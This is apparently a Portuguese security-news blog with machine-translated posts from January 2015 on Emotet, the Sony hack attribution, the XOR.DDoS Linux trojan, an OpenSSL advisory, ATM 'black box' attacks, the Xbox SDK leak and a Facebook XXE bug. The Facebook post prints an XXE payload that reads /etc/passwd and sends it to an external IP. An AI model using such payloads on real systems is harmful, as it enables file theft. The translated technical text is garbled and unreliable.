sexta-feira, 9 de janeiro de 2015

Novo ataque de SPAM tem Alemanha como alvo.

Especialistas em segurança na Microsoft detectou uma nova variante da família Win32 / Emotet que é direcionada aos usuários alemães com uma nova campanha de spam de e-mail.

Pesquisadores da Microsoft descobriram uma nova campanha criminosa é direcionada aos usuários alemães com uma nova variante de um sofisticado de malware bancário, Trojan: Win32 / Emotet.C . Os atacantes estão rodando campanha de email Spam na Alemanha para servir um malware financeiro, apelidado Emotet ,  projetados para furtar dados bancários on-line. Emotet não é uma nova estirpe de malware, que foi detectado pela primeira vez em junho passado pela Trend Micro. A variante Emotet detectado pela Microsoft, principalmente direcionados falantes de língua alemã e website bancário.
O malware tem uma muito eficaz  capacidade de rede sniffing , de acordo com os investigadores, é capaz de farejar dados enviados através de conexões HTTPS garantidos enganchando em oito APIs de rede.
Microsoft começou a sua investigação sobre Emotet desde Novembro de 2014, quando a campanha de e-mail de spam atingiu o seu pico.
emotet Microsoft telemetria
Emotet foi distribuído através de mensagens de spam  que foram escritos em alemão e que contêm um link para um servidor que hospeda o código malicioso ou malware que é apresentado como um documento harmessPDF. HeungSoo Kang do Centro de Proteção contra Malware da Microsoft explicou em um post no blog que a campanha de e-mail spam se baseia em e-mail contas comprometidas para espalhar os links maliciosos.
"Os e-mails de spam são difíceis para os servidores de e-mail para filtrar spam porque o componente usa contas de e-mail comprometidos para enviar links maliciosos.  Emotet módulo spam "s (detectado como  Spammer: Win32 / Cetsiol.A ) acessa o serviço de e-mail usando o nome da conta roubada e senhas para enviar spam. Isto significa técnicas anti-spam tradicionais, tais como a verificação de retorno, não será aplicável, pois o e-mail é enviado a partir de um endereço de e-mail vetados ou legítimo. "Está escrito no post .
Binários Emotet são entregues em arquivo .zip para que o software de arquivamento de arquivos padrão instalado irá abrir o arquivo malicioso.
Uma vez que o malware infecta uma máquina que faz download de um arquivo de configuração que contém a lista de bancos e serviços que é projetado para roubar credenciais de. Emotet também faz download de um arquivo que é usado para interceptar e registrar o tráfego de rede.
Win32 / Emotet família também pode roubar credenciais de conta de e-mail de e-mail instalado ou software de mensagens. As amostras analisadas pela Microsoft é capaz de roubar credenciais relacionadas com a seguinte software.
  • Eudora
  • Gmail Notifier
  • Google Desktop
  • Google Talk
  • Group Mail
  • IncrediMail
  • Mozilla Thunderbird
  • MSN ou Windows Live Messenger
  • Netscape 6 e Netscape 7
  • Outlook 2000, Outlook 2002 e Outlook Express
  • Windows Mail e Windows Live Mail
  • Yahoo! Messenger
Os dados roubados são enviados de volta para os servidores C & C e pode ser utilizado pelo malware para enviar e-mails de spam para outros usuários.
Preste atenção, para não abrir anexos ou clicar em links que veio em por e-mails suspeitos.

Detalhes sobre o ataque à Sony

O diretor do FBI forneceu mais detalhes sobre o ataque cibernético contra a Sony Pictures, que afirmam que a Coreia do Norte era responsável.

A certeza única sobre o ataque cibernético contra a Sony Pictures  é o nome da equipe de hackers que conseguiu a ofensiva, a Guardians of Peace (GOP) . O FBI ligada a GoP para a Coreia do Norte  eo Governo dos EUA anunciou recentemente o exacerbando do econômicas sanções 10 altos funcionários norte-coreanos e três entidades do país.
Ontem, em discurso na  Conferência Internacional sobre Segurança Cibernética (CIEC)  da Universidade de Fordham, em Nova York, o diretor do FBI James Comey confirmou a alegação e mais uma vez acusou o governo norte-coreano para o maciço ataque cibernético contra a Sony Pictures.
'[Ele] "confiança muito alta" Pyongyang estava por trás dele e revelou novos detalhes' relatou FoxNews . "Ele disse que investigadores norte-americanos foram capazes de rastrear e-mails e mensagens de Internet enviadas pelos Guardiães da Paz, o grupo por trás do ataque, e ligá-los à Coréia do Norte.Comey disse que a maioria do tempo, o grupo enviou e-mails ameaçadores funcionários da Sony e fez várias outras declarações on-line usando servidores proxy para disfarçar onde as mensagens foram a partir de ".
Comey explicou que, apesar de os hackers adotou todas as precauções necessárias para esconder sua identidade, por exemplo, contando com ligações de proxy para esconder seu endereço IP real cada vez que enviou e-mails ameaçadores, em algumas ocasiões, eles não conseguiram disfarçar sua origem. Os investigadores descobriram os endereços IP dos agressores, que foram utilizados exclusivamente pelo governo norte-coreano, confirmando a hipótese de que é um ataque patrocinado pelo Estado .
"Em quase todos os casos, [os hackers Sony conhecidos como os Guardiães da Paz] utilizados servidores proxy para disfarçar onde eles estavam vindo em enviar esses e-mails e postar essas declarações. Mas várias vezes que obtiveram descuidado ", afirmou Comey. "Várias vezes, ou porque se esqueceram ou por causa de um problema técnico, eles conectado diretamente e pudemos ver que os IPs que eles estavam usando ... foram usadas exclusivamente pelos norte-coreanos."
As informações coletadas pelo FBI dá uma "indicação muito clara de quem estava fazendo isso."
É a primeira vez que o FBI divulga essas informações, no passado, o Bureau reivindicou a Coreia do Norte, basicamente, a partir dos resultados da análise dolimpador de malware usado por hackers, o código malicioso na verdade  foi escrito em coreano  e apresenta muitas semelhanças com outros códigos maliciosos usados ​​pelo governo da Coréia do Norte em ataques cibernéticos contra os sistemas de sul-coreanos.

FBI acusa Coréia do Norte Sony Pictures cortar 2

A investigação ainda está em curso, os especialistas cibernéticos estão avaliando como os hackers violaram a rede Sony Pictures para exfiltrate dados confidenciais da empresa. De acordo com rumores iniciais, Sony Pictures tinha sido alvo de "spear phishing campanhas "em meses anteriores.
Outro tema debatido pelo diretor do FBI é a ampla difusão de criptografia em dispositivos móveis, o que está dificultando a investigação pela aplicação da lei.
Há questões importantes de segurança pública aqui (e) nós precisamos conversar sobre isso " , acrescentou Comey.
Apesar de tudo apontar o dedo para a Coreia do Norte, acho que é extremamente interessante e plausível para o esclarecimento do perito populares Jeffrey Carr deseu blog duvida os argumentos fornecidos pelo FBI.
"A prova de que o FBI acredita que tem contra a Coreia do Norte no ataque Sony decorre a partir dos dados que recebeu sobre o ataque escuro Seul no ano passado para o sector privado. O FBI, a NSA, e as empresas de segurança privada de que dependem para obter informações acreditar que qualquer ataque ligado a um endereço IP norte-coreano deve ser aquele que é sancionado pelo governo desde que a Coréia do Norte mantém um controlo apertado sobre a sua Internet e Intranet. Esse é o ponto único do FBI de fracasso, porque enquanto que poderia ter sido verdadeiro anteriores a 2009, não é verdade por mais tempo. O acesso a esses blocos é relativamente fácil se você entrar pela China, Tailândia, Japão, Alemanha e outros países onde a Coreia do Norte tem estratégicas ligações "
Fique atento ...

Novo virus para Linux

Especialistas em segurança na Avast analisaram uma nova estirpe de DDoS trojan segmentação do sistema operacional Linux XOR.DDoS dublados que incorpora um componente rootkit.

Especialistas em segurança na Avast identificaram uma nova estirpe do Linux DDoS Trojan com um rootkit built-in. Os investigadores suspeitam que um ator de ameaça está a recrutar um grande número de bots que poderiam ser aproveitados para DDoSataques.
O  XOR.DDoS  malwares foi relatada pela primeira vez pelo MalwareMustDie! em setembro de 2014, é considerado por especialistas únicos, uma vez que tem a capacidade de modificar suas estruturas, dependendo do sistema operacional de destino Linux.
"A infecção começa por uma tentativa de brute credenciais vigor SSH login do usuário root. Se for bem sucedido, os atacantes ganhar acesso à máquina comprometida, em seguida, instalar o Trojan geralmente através de um script shell. " escreveu  o pesquisador Peter Avast Kalnai. "O roteiro contém procedimentos como, verificar, compilador principal, descomprimir, setup, gerar, upload, checkbuild, etc. e variáveis ​​como __host_32__, __host_64__, __KERNEL__, __remote__, etc. O procedimento principal decifra e seleciona o servidor C & C baseado na arquitetura do sistema. "
Os atacantes tentaram explorar o hábito errado de usuários do Linux para usar logins padrão para serviços expostos na web, no caso específico do SSH. Uma vez que os XOR.DDoS infectou uma máquina Linux, o rootkit esconde seus componentes (arquivos e processos) para evitar a detecção.
linux XOR DDOS trojan elf_xorddos_scheme
"Além disso, temos de constatar que existe uma variante deste Trojan compilado para a arquitetura ARM", acrescentou Kalnai.  "Isto sugere que a lista de sistemas potencialmente infectados (além de 32 bits e servidores web Linux de 64 bits e desktops) é prorrogada por roteadores, Internet de dispositivos Coisas, storages NAS ou servidores ARM de 32 bits (no entanto, não tem sido observada na natureza até o momento). "
Os autores de malware estão desenvolvendo um crescente número de malwares que visam sistemas baseados em Linux, novas variantes de malware são projetados especificamente para comprometer a Internet das Coisas dispositivos.
Especialistas detectado também para os  XOR.DDoS  malwares uma variante compilado para a arquitetura ARM .
"Além disso, temos de constatar que existe uma variante deste Trojan compilado para a arquitetura ARM. Isto sugere que a lista de sistemas potencialmente infectados (além de 32-bit e 64-bit servidores web Linux e desktops) é estendida para os roteadores, Internet de dispositivos Coisas, storages NAS ou servidores ARM de 32 bits (no entanto, não foi observada na natureza até o momento). Ele contém uma implementação adicional do download-and-executar recurso em um loop infinito chamado daemondown "
Outro aspecto interessante dos XOR.DDoS é a implementação da infra-estrutura de controle e o processo para gerenciar a botnet. O especialista notou que a comunicação entre os bots e C & C é criptografada em ambas as direções com a mesma chave XOR hard-coded (BB2FA36AAA9541F0) como o arquivo de configuração.
"A lista de C & Cs é armazenado no script shell na variável __remote__. O primeiro Trojan envia informações sobre o sistema de execução para o servidor C & C (muito provável a ser exibido em um painel de um operador de botnet). As respostas geralmente chegou na forma de um comando. ", Diz o post.

Vulnerabilidade no SSL precisa de update.

OpenSSL Security Advisory [8 de janeiro de 2015]
=======================================

DTLS falha de segmentação em dtls1_get_record (CVE-2014-3571)
================================================== =========

Gravidade: Moderada

Uma mensagem DTLS cuidadosamente trabalhada pode causar uma falha de segmentação no OpenSSL devido
a um dereference ponteiro NULL. Isto poderia levar a um ataque de negação de serviço.

Esse problema afeta todas as versões do OpenSSL atuais: 1.0.1, 1.0.0 e 0.9.8.

OpenSSL 1.0.1 DTLS os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 DTLS os usuários devem atualizar para 1.0.0p.
OpenSSL 0.9.8 DTLS os usuários devem atualizar para 0.9.8zd.

Este problema foi relatado para OpenSSL em 22 de outubro de 2014 por Markus Stenberg de
Cisco Systems, Inc. A correção foi desenvolvido por Stephen Henson do OpenSSL
equipe principal.

Vazamento de memória DTLS em dtls1_buffer_record (CVE-2015-0206)
================================================== =====

Gravidade: Moderada

Um vazamento de memória pode ocorrer na função dtls1_buffer_record sob certas
condições. Em particular, isto poderia ocorrer se um invasor enviar repetido DTLS
registros com o mesmo número de seqüência, mas para a próxima época. O vazamento de memória
pode ser explorada por um atacante em um ataque de negação de serviço através da memória
exaustão.

Esse problema afeta as versões do OpenSSL: 1.0.1 e 1.0.0.

OpenSSL 1.0.1 DTLS os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 DTLS os usuários devem atualizar para 1.0.0p.

Este problema foi relatado para OpenSSL em 07 de janeiro de 2015 por Chris Mueller, que também
forneceu uma correção inicial. Uma análise mais detalhada foi realizada por Matt Caswell do
OpenSSL equipe de desenvolvimento, que também desenvolveu o patch final.

no-SSL3 método conjuntos de configurações para NULL (CVE-2014-3569)
================================================== =======

Gravidade: baixa

Quando openssl é construído com a opção sem SSL3 e um ClientHello v3 SSL é
recebeu o método SSL seria definido como NULL, que mais tarde poderiam resultar em
um dereference ponteiro NULL.

Esse problema afeta todas as versões do OpenSSL atuais: 1.0.1, 1.0.0 e 0.9.8.

OpenSSL 1.0.1 os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 os usuários devem atualizar para 1.0.0p.
OpenSSL 0.9.8 os usuários devem atualizar para 0.9.8zd.

Este problema foi relatado para OpenSSL em 17 de outubro de 2014 por Frank Schmirler. O
correção foi desenvolvido por Kurt Roeckx.


ECDHE silenciosamente downgrades para ECDH [Cliente] (CVE-2014-3572)
================================================== ========

Gravidade: baixa

Um cliente de OpenSSL aceitará um aperto de mão usando um ciphersuite ECDH efémero
usando um certificado ECDSA se a mensagem de troca de chave do servidor é omitido. Este
efetivamente remove o segredo para a frente do ciphersuite.

Esse problema afeta todas as versões do OpenSSL atuais: 1.0.1, 1.0.0 e 0.9.8.

OpenSSL 1.0.1 os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 os usuários devem atualizar para 1.0.0p.
OpenSSL 0.9.8 os usuários devem atualizar para 0.9.8zd.

Este problema foi relatado para OpenSSL em 22 de outubro de 2014 por Karthikeyan
Bhargavan da equipe PROSECCO no INRIA. A correção foi desenvolvido por Stephen
Henson da equipe principal OpenSSL.


RSA silenciosamente downgrades para EXPORT_RSA [Cliente] (CVE-2015-0204)
================================================== ============

Gravidade: baixa

Um cliente de OpenSSL aceitará o uso de uma chave temporária RSA em um não-exportação
RSA ciphersuite troca de chaves. Um servidor pode apresentar uma chave temporária fraco
e degradar a segurança da sessão.

Esse problema afeta todas as versões do OpenSSL atuais: 1.0.1, 1.0.0 e 0.9.8.

OpenSSL 1.0.1 os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 os usuários devem atualizar para 1.0.0p.
OpenSSL 0.9.8 os usuários devem atualizar para 0.9.8zd.

Este problema foi relatado para OpenSSL em 22 de outubro de 2014 por Karthikeyan
Bhargavan da equipe PROSECCO no INRIA. A correção foi desenvolvido por Stephen
Henson da equipe principal OpenSSL.


Certificados de cliente DH admitidos sem verificação [servidor] (CVE-2015-0205)
================================================== ===========================

Gravidade: baixa

Um servidor OpenSSL irá aceitar um certificado de DH para autenticação do cliente
sem o certificado verificar mensagem. Isso efetivamente permite que um cliente
para autenticar sem o uso de uma chave privada. Isso afeta apenas servidores
que confia em uma autoridade de certificados de cliente que emite certificados
contendo chaves DH: estes são extremamente raros e quase nunca encontrado.

Esse problema afeta as versões do OpenSSL: 1.0.1 e 1.0.0.

OpenSSL 1.0.1 os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 os usuários devem atualizar para 1.0.0p.

Este problema foi relatado para OpenSSL em 22 de outubro de 2014 por Karthikeyan
Bhargavan da equipe PROSECCO no INRIA. A correção foi desenvolvido por Stephen
Henson da equipe principal OpenSSL.


Impressões digitais de certificado podem ser modificados (CVE-2.014-8.275)
================================================== ======

Gravidade: baixa

OpenSSL aceita vários não-der-variações de assinatura do certificado
algoritmo e assinatura codificações. OpenSSL também não impõe uma
jogo entre o algoritmo de assinatura entre a assinados e não assinados
porções do certificado. Ao modificar o conteúdo da
algoritmo de assinatura ou a codificação da assinatura, é possível
para mudar a impressão digital do certificado.

Isso não permite que um atacante para forjar certificados, e não faz
afetar a verificação do certificado ou OpenSSL servidores / clientes em qualquer
outra maneira. Ele também não prejudica os mecanismos de revogação comuns. Apenas
aplicativos personalizados que dependem da singularidade da impressão digital
(por exemplo, listas negras certificado) pode ser afetada.

Esse problema afeta todas as versões do OpenSSL atuais: 1.0.1, 1.0.0 e
0.9.8.

OpenSSL 1.0.1 os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 os usuários devem atualizar para 1.0.0p.
OpenSSL 0.9.8 os usuários devem atualizar para 0.9.8zd.

Uma variante deste problema foi descoberto por Antti Karjalainen e
Tuomo Untinen do programa Codenomicon CROSS e comunicada ao
OpenSSL em 01 dezembro de 2014 por NCSC-FI Vulnerabilidade
Co-ordenação. Outra variante foi relatado de forma independente para OpenSSL
em 12 de dezembro de 2014 por Konrad Kraszewski do Google. Mais
análise foi realizada e as correções foram desenvolvidas por Stephen Henson de
a equipe principal OpenSSL.

Quadratura Bignum pode produzir resultados incorretos (CVE-2014-3570)
================================================== ===========

Gravidade: baixa

Bignum quadratura (BN_sqr) pode produzir resultados incorretos em alguns
plataformas, incluindo x86_64. Este erro ocorre ao acaso com um muito
baixa probabilidade, e não é conhecido por ser explorada de forma alguma, embora
seu impacto exato é difícil de determinar. O seguinte foi
determinado:

*) A probabilidade de BN_sqr produzindo um resultado incorreto ao acaso
é muito baixa: 02/01 ^ 64 na plataforma de 32 bits único afetado (MIPS) e
02/01 ^ 128 em plataformas de 64 bits afetadas.
*) Na maioria das plataformas, RSA segue um caminho de código diferente e RSA
operações não são afetados em tudo. Para as restantes plataformas
(Por exemplo, OpenSSL construída sem o apoio de montagem), pré-existente
contramedidas frustrar ataques de bugs [1].
*) Estática ECDH é teoricamente afetada: é possível construir
pontos de curva elíptica que falsamente parecem estar no dado
curva. No entanto, não há nenhuma maneira conhecida computacionalmente viável para
construir tais pontos com baixa ordem, e assim a segurança de estática
Chaves privadas ECDH se acredita ser afectada.
*) Outras rotinas conhecidas como teoricamente afetados são modulares
exponenciação, teste de primalidade, DSA, RSA cegueira, e JPAKE
SRP. Nenhum exploits são conhecidos e ataques de bugs simples falhar -
ou o atacante não pode controlar quando o bug desencadeia, ou nenhuma
material de chave privada está envolvido.

Esse problema afeta todas as versões do OpenSSL atuais: 1.0.1, 1.0.0 e 0.9.8.

OpenSSL 1.0.1 os usuários devem atualizar para 1.0.1k.
OpenSSL 1.0.0 os usuários devem atualizar para 1.0.0p.
OpenSSL 0.9.8 os usuários devem atualizar para 0.9.8zd.

Este problema foi relatado para OpenSSL em 02 de novembro de 2014 por Pieter Wuille
(Blockstream), que também sugeriu uma correção inicial. Uma análise mais aprofundada foi
realizado pela equipe de desenvolvimento do OpenSSL e Adam Langley de
Google. A correção final foi desenvolvido por Andy Polyakov do OpenSSL
equipe principal.

[1] http://css.csail.mit.edu/6.858/2013/readings/rsa-bug-attacks.pdf

Nota
====

Como por nossos anúncios anteriores e nossa estratégia de lançamento
(Https://www.openssl.org/about/releasestrat.html), suporte para versões OpenSSL
1.0.0 e 0.9.8 deixará em 31 de dezembro de 2015. Não há atualizações de segurança para estes
lançamentos serão fornecidos após essa data. Os usuários desses lançamentos são aconselhados
para atualizar.

Referências
==========

URL para este Consultivo de Segurança:
https://www.openssl.org/news/secadv_20150108.txt

Nota: a versão online do comunicado pode ser atualizado com adicional
detalhes ao longo do tempo.

Para mais informações sobre classificações de severidade OpenSSL consulte:
https://www.openssl.org/about/secpolicy.html

quinta-feira, 8 de janeiro de 2015

Novo sistema operacional para tv é destaque

Samsung Electronics Co. (005930), the world’s biggest maker of televisions, said all its Web-connected sets will use the Tizen operating system this year. The new TVs can access content and synchronize with mobile devices including smartphones and tablet computers to enable viewing on multiple screens, the Suwon, South Korea-based company said in an e-mailed statement today. Samsung will show Tizen sets at the International Consumer Electronics Show in Las Vegas next week. Samsung, the world’s largest producer of smartphones using Google Inc.’s Android, helped develop Tizen as an alternative operating system by teaming with companies including Intel Corp. and NTT Docomo Inc. (9437) The software is intended for mobile devices, home appliances and also car systems. Users of the new Tizen-powered TVs can watch live sports broadcasts while checking team and player statistics on the same screen. The new sets are compatible with Sony Corp.’s PlayStation Now streaming game service, and Samsung said it has also partnered with other game companies. Samsung is seeking to reinvent itself as a producer of connected devices after posting the smallest quarterly earnings in more than two years amid competition from Apple Inc. and Chinese producers in smartphones. Earnings from its consumer electronics division, which oversees TVs and appliances, dropped more than 80 percent in the three months ended September because of falling prices and competition with Japanese and Chinese makers. To contact the reporter on this story: Jungah Lee in Seoul at jlee1361@bloomberg.net To contact the editors responsible for this story: Michael Tighe at mtighe4@bloomberg.net Robert Fenner, Lena Lee by TaboolaSponsored LinksFROM THE WEB An Extremely Brilliant Way To Pay Off Mortgage LendingTree Are Millennials Ready for Work? Bentley University Experts Think the 30 Year Mortgage is a "Scam" Bills.com Obie's Journey: Dealing with Pet Obesity petco    GALLERY | VIDEO | REPORTS Bloomberg Applications | Bloomberg.com | Submit Feedback or Tips | Terms of Service | Privacy Policy View: Mobile Site | Desktop Site Text size: Small | Medium | Large ©2015 BLOOMBERG L.P. ALL RIGHTS RESERVED 

Hackers roubam caixa eletrônico usando smartphone


Hackers invadiram os sistemas ATM forçando-os a distribuir o dinheiro armazenado em suas caixas de dinheiro contando com certos comandos enviados por meio de um smartphone.

Os cibercriminosos podem hackear ATM sistemas e forçá-lo a dispensar o dinheiro usando um smartphone, no caso específico de um Samsung Galaxy 4 telefone.

O modelo de smartphone não é importante, os dispositivos móveis são usados ​​apenas para enviar comandos para o ATM  remotamente uma vez que o atacante tenha fisicamente conectado a máquina.

Mal ATMs protegidos resultado mais expostos a este tipo de atacante, hackers comprometer o seu caso, a fim de conectar o dispositivo móvel.

O especialista em segurança Brian Krebs publicou um interessante post intitulado " Ladrões ATMs jackpot com Attack 'caixa preta' "para descrever este tipo de ataques que pertencem a" uma nova classe de scams desnatação destinadas a retirar depósitos em ATM ".

A "caixa preta" ataque ATM descrito por Brian Krebs contou com um smartphone e uma placa de circuito baseado em USB.

"A questão é uma forma de fraude ATM conhecido como uma" caixa preta "de ataque. Em uma caixa de assalto preto, os bandidos ganham acesso físico a parte superior da máquina de dinheiro. A partir daí, os atacantes são capazes de desligar terminal da ATM do "core" (o computador e cérebro do dispositivo), e em seguida, conecte o seu próprio computador que pode ser usado para emitir comandos forçando o dispenser de cuspir fora o dinheiro. " estados de Krebs.

Caixa de ataque preto ATM
Retomando, as tripulações criminais isolar o terminal do PC ATM e conectá-lo um PC eles controlam usando o smartphone. Krebs informou que os "ataques caixa preta", foram realizados contra ATMs feitas pelo vendedor NCR.

"NCR diz que os bandidos então anexado um telefone inteligente (uma virgem, out-of-the-box Samsung Galaxy 4), que eles usaram como um canal através do qual para enviar comandos para o terminal remotamente. Segundo Harrow, o telefone móvel foi criado para transmitir comandos através de um serviço de IP dinâmico. ", Disse Krebs.

Em um caso, o atacante usou uma placa de circuito com conexão USB para ligá-lo ao controlador de ATM, a fim de enganar o computador em acreditar que ainda estava ligado ao terminal. Krebs destacou que de qualquer forma o circuito suplementar era desnecessário para a "caixa preta" ataque ATM.

"Eles ligado ao controlador de uma placa de circuito baseado em USB que NCR acredita que foi projetado para enganar o núcleo da ATM em pensar que ainda estava ligado ao terminal.", Diz o post.

Não é a primeira vez que ATMs da NCR têm sido alvo de hackers, no passado discutimos uma outra técnica de ataque que se baseia em um malware injetado através de um CD-ROM inserido o núcleo ATM.

Em outubro de 2014, gangues criminosas na Europa de Leste realizou vários ataques contra caixas eletrônicos, não só adulteração-los com skimmers cartão  que roubam dados de cartões de débito, mas também usando malware.

O código malicioso usado por criminosos virtuais permite que hackers para roubar dinheiro do caixa eletrônico sem o uso de  cartões de crédito clonados . A Interpol realizou uma operação conjunta com os especialistas da Kaspersky Lab, o que lhes permitiu detectar a malwares Tyupkin  em cerca de 50 máquinas. Como explicou em um post no blog sobre SecureList , apresentações Tyupkin para Virus Total  eram principalmente da Rússia (20), mas outras amostras (4) foram relatados também dos Estados Unidos, Índia e China.

No momento, os pesquisadores da NCR foi informado apenas cerca de dois ataques de caixa preta, por esta razão, a empresa emitiu uma atualização de firmware para sua máquina que melhorar a criptografia para a comunicação entre o terminal e o núcleo do sistema. A atualização também inclui um recurso que bloqueia a possibilidade de roll-back a versão do firmware, o rebaixamento poderia ser explorada por hackers para fazer a ATM vulnerável novamente.

"A empresa também enviado recentemente uma atualização de software para seus ATMs que fortaleçam a criptografia usada para gerenciar a comunicação entre o terminal e o núcleo ATM. Mais importante ainda, a actualização altera o sistema de modo a que a troca de chaves de criptografia entre esses dois componentes é feito somente quando o distribuidor recebe uma sequência de autenticação específica. "

Os especialistas da NCR confirmou que este tipo de ataque é muito fácil de organizar e são muito baratos.

"Todas as coisas consideradas, este é um ataque muito barato", disse Charlie Harrow, gerente de soluções para a segurança global da NCR. "Se você sabe que comanda o direito de enviar, é relativamente simples de fazer. É por isso que melhor autenticação precisa estar lá ",

Outra modificação incluída na atualização refere-se a bloquear a possibilidade de roll-back a versão do firmware para que a máquina se torna vulnerável novamente.

Pierluigi Paganini

( Assuntos de Segurança  -   ATM, o cibercrime )

terça-feira, 6 de janeiro de 2015

Salários de profissionais de TI 2015

http://info.abril.com.br/noticias/carreira/fotonoticias/veja-a-media-salarial-dos-profissionais-de-ti-para-2015-1.shtml

domingo, 4 de janeiro de 2015

Vazou o developer kit do xbox

Menu

Assuntos de Segurança
Leia, pense, parte ... Segurança é responsabilidade de todos
Hacking H4LT equipe vazou Xbox One SDK on-line

Fb-Button

O H4LT equipe de hackers vazou Xbox One SDK on-line que poderia deixá-especialistas para desenvolver seus próprios aplicativos homebrew e executá-los no console do jogo popular.

A indústria de jogos está em tempestade completo após a queda maciça  de PSN e Xbox Live no Natal causada pelo Lizard Esquadrão . Desta vez é o vazamento on-line do kit de desenvolvimento de software (SDK) para o Xbox Live a preocupar os especialistas da indústria do jogo. O SDK está circulando graças a um grupo que se autodenomina H4LT, a disponibilidade do Microsoft Xbox Um desenvolvedor SDK  abre a porta para aplicações caseiras, isso significa que os desenvolvedores não aprovados serão capazes de desenvolver software não oficial e os especialistas acreditam que eles serão capazes de projetar também rachadura específico para o console popular.

xbox sdk vazamento

O grupo H4LT anunciou o Xbox Um vazamento por meio de sua conta oficial no Twitter, o pacote foi hospedado na plataforma Mega.co.nz. compartilhamento de arquivos O grupo H4LT sustenta que vazou na internet o Xbox SDK para melhorar o crescimento da comunidade em torno da consola de jogos popular.
Os hackers desde que os screenshots do lançamento do Novembro do XDK Durango (Xbox Development Kit) arquivos, incluindo o firmware do dispositivo e sua documentação e uma coleção de ferramentas de desenvolvimento.
Hey, Xbox ! Nós pensamos em cair sobre perto e terminar 2014 com um estrondo https://t.co/dQH9CIPrb0 - areWeH4LT (notHALT) 30 Dicembre 2014;)

TechGame conseguiu entrar em contato com o grupo que forneceu a seguinte explicação para o Kit Xbox Development:

" Nós vazou para a comunidade porque se algo é compartilhado então .. progresso é alcançado mais rápido do que sozinho. Algo mantido entre nós não vai conseguir nada. Compartilhe com a comunidade = criatividade e pesquisa. Shared é assim que deve ser. O SDK será, basicamente, permitir que a comunidade de reverter e abrir as portas para as aplicações homebrew estar presente no Xbox One. "

O grupo H4LT qualquer maneira explicou que não tem nenhuma ligação com o Lizard Plantel  e seus membros.

"Você se divertiu por derrubar servidores. Podemos ter diversão para vazamentos * tosse * dando isso? "É o conteúdo de uma weet enviado por H4LT para Lizard Squad.

Apesar de não haver um funcionário explorar para rodar aplicativos homebrew no console é fácil prever que alguém será capaz de fazê-lo em um futuro próximo.

" Uma vez que o SDK está fora, as pessoas que tenham conhecimento ou, no passado, inverteu os arquivos relacionados ao (8) do sistema operacional Windows deve definitivamente ter um ir para reverter alguns arquivos lá, "acrescentou o grupo. " Por quê? Bem, o Xbox One é praticamente um despojado Windows 8 dispositivo e introduziu um novo formato de pacote que não teve muita atenção. Este formato é responsável por atualizar o console e armazenamento de aplicativos (jogos são na categoria de "Aplicativos" no Xbox One) e é uma modificação de discos rígidos virtuais. "

Fique ligado para mais informações ... ter certeza de que os especialistas já estão analisando o código. ... Certifique-se de que os especialistas já estão analisando o código.

Pierluigi Paganini

( Assuntos de Segurança  - Xbox One SDK, consola de jogos)

Compartilhe por favor ...Tweet sobre isso no TwitterPartilhar no Google+Partilhar no FacebookPartilhar no LinkedInPin no PinterestCompartilhar no RedditMande para alguémPartilhar no StumbleUpon
Compartilhe isso:
EmailChilroImpressãoLinkedIn 49Facebook 31Mais
03 de janeiro de 2015
«Anterior
Ver site completo
Powered by WordPress

sexta-feira, 2 de janeiro de 2015

Mais uma vulnerabilidade do Facebook

Um especialista em segurança descobriu uma vulnerabilidade no Facebook que permite realizar várias atividades maliciosas apenas o upload de um arquivo do Microsoft Word forjado.

O pesquisador de segurança Mohamed Ramadan descobriu uma vulnerabilidade crítica no Facebook que permite que um atacante para hackear conta dos usuários usando um arquivo do Microsoft Word .docx forjado. Ramadan não é novidade para esse tipo de descobertas, ele já encontrou nos últimos vulnerabilidades em serviços web fornecidos pelo Facebook, Google, Microsoft e Twitter.
Ramadan estava realizando um reconhecimento do serviço Facebook quando ele veio na página carreira de Facebook , geralmente esse tipo de página permite que os usuários enviem seu CV através de um componente de upload. O especialista enviado com sucesso o seu CV para a plataforma Facebook. O uploader de Facebook permite apenas arquivos nos formatos PDF ou .docx, então ele teve a idéia de explorar o arquivo .docx, um formato concebido pela Microsoft, que, basicamente, pode ser equiparado a um  arquivo xml zipado.   Neste ponto, ele criou um falso CV com forjado documento do Microsoft Word e enviados para a página web carreiras Facebook. Abaixo um trecho de código incluído no arquivo XML que ele escreveu.
DOCTYPE root [
<! ENTITY% "file: /// etc / passwd" sistema de arquivos>
SISTEMA dtd "http://197.37.102.90/ext.dtd">
% DTD;
Send%;
]]>
Ele começou um servidor HTTP em execução em Python em sua máquina local e ele criou um arquivo chamado ext.dtd no diretório mohaab007. Este é o conteúdo recuperado de ext.dtd:
<! ENTITY% todos
"X25; enviar SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%25file; ">"
>
% Todos;
Depois de carregar a Palavra CV forjou o pesquisador esperou pela resposta Facebook.
"Agora tudo é bom e em seguida foram enviados para CV.docx https://www.facebook.com/careers/  e esperou um minuto, mas não aconteceu nada. Eu disse a mim mesmo que é um fracasso total e eu vou verificar o meu perfil no Facebook, em vez e conversar com alguns amigos e jogar um jogo ou algo assim depois deste longo  FALHOU tentativa. Perdi cerca de 15 minutos ou conversando e navegando agora é hora de parar o servidor http python e perto Facebook e tudo mais. Eu estava indo para fechar minha janela do terminal e fiquei chocado ao ver que algo ligado ao meu servidor http python ", afirmou em um post de blog .
facebook hackeado docx-XXe
O resultado é surpreendente, Ramadan forçou um servidor do Facebook para se conectar ao seu servidor HTTP Python, uma circunstância que abrir as portas para vários cenários de ataque como explica o especialista.
  • DoS o sistema de análise, tornando-o aberto, egfile: /// dev / random | file: /// dev / urandom | file: // c: / con / con
  •  TCP verifica usando entidades externas HTTP (incluindo firewalls desde servidores de aplicações, muitas vezes têm visão de mundo diferente daquele do atacante)
  • O acesso não autorizado aos dados armazenados como arquivos XML no sistema de arquivos do sistema de análise (claro que o atacante ainda precisa de uma forma de obter esses dados de volta)
  • DoS em outros sistemas (se o sistema de análise é permitido estabelecer conexões TCP para outros sistemas)
  •  Roubo de material de autenticação NTLM, iniciando o acesso ao arquivo UNC para sistemas sob controle atacante (muito buscado?)
  • Cenário apocalíptico: Um aplicativo amplamente utilizada e altamente conectado vulneráveis ​​a este ataque pode ser usado para DDoS .
